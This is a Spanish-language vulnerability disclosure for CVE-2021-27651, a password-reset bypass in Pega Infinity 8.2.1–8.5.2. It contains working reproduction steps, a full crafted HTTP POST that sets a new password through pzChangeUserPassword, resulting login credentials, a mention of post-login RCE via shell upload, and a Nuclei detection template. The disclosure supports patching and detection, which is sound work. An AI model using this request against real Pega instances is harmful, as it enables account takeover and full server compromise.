CVE-2021-27651

Resumen

Un atacante puede omitir todas las etapas del flujo de restablecimiento de contraseña y restablecer la cuenta de cualquier usuario en Pega Infinity. Esto se logra (1) iniciando el flujo de restablecimiento de contraseña e introduciendo el correo electrónico de la víctima, y luego (2) forzando la solicitud HTTP POST para que actualice la contraseña. El atacante podría iniciar sesión usando la cuenta recién editada y comprometer completamente la instancia de Pega mediante los múltiples vectores de ejecución de código posteriores a la autenticación aceptados (modificación de páginas dinámicas, plantillas, etc.)

Pasos para reproducir

1. Navegue a la página de inicio de sesión de cualquier instancia de Pega
2. Haga clic en "restablecer contraseña"
3. Escriba "[email protected]", intercepte la solicitud HTTP, envíe la solicitud HTTP con "[email protected]" a la pestaña de repetición de Burp o cualquier pestaña similar, luego permita que la solicitud continúe desactivando el proxy o haciendo clic en "enviar"
4. Después de permitir que la solicitud inicial continúe, modifique el cuerpo de la solicitud HTTP en el repetidor para que incluya los siguientes datos...

POST /prweb/PRServlet/app/default/:PEGA_ID*/!STANDARD HTTP/1.1 (:PEGA_ID is a unique ID for each site, it is in this format: ZOgwf2Zk3OsEg_oG74MXXxG2bXKbv56W)
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
Origin: https://redacted.com
DNT: 1
Connection: close
Referer: https://redacted.com/prweb/PRServlet/app/default/:PEGA_ID*/!STANDARD
Cookie: yourCookie
Upgrade-Insecure-Requests: 1

pzAuth=guest&NewPassword=Rules%401234&ConfPassword=Rules%401234&pyActivity%3DCode-Security.pzChangeUserPassword=

5. Inicie sesión usando las siguientes credenciales después de enviar la solicitud HTTP, habiendo omitido la parte de confirmación del restablecimiento de contraseña y pudiendo iniciar sesión en la cuenta de administrador...

[email protected] / Rules@1234

6. Desde allí, puede lograr RCE mediante cualquiera de los muchos vectores de ejecución de código aceptados que son solo para administradores

Versiones afectadas

Pega Infinity >= 8.2.1 Pega Infinity <= 8.5.2

Impacto

Compromiso total de cualquier instancia de Pega sin conocimiento previo.

Material de apoyo

• Omisión de contraseña

• Ejecución remota de código mediante carga de shell

Plantilla de Nuclei

id: pega

info:
  name: Pega Infinity Login
  author: sshell
  severity: low

requests:
  - method: GET
    path:
      - "{{BaseURL}}/prweb/PRRestService/unauthenticatedAPI/v1/docs"
    headers:
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
    matchers:
      - type: word
        words:
          - "Pega API"

Créditos

Andri Wijayanti (@andridev_),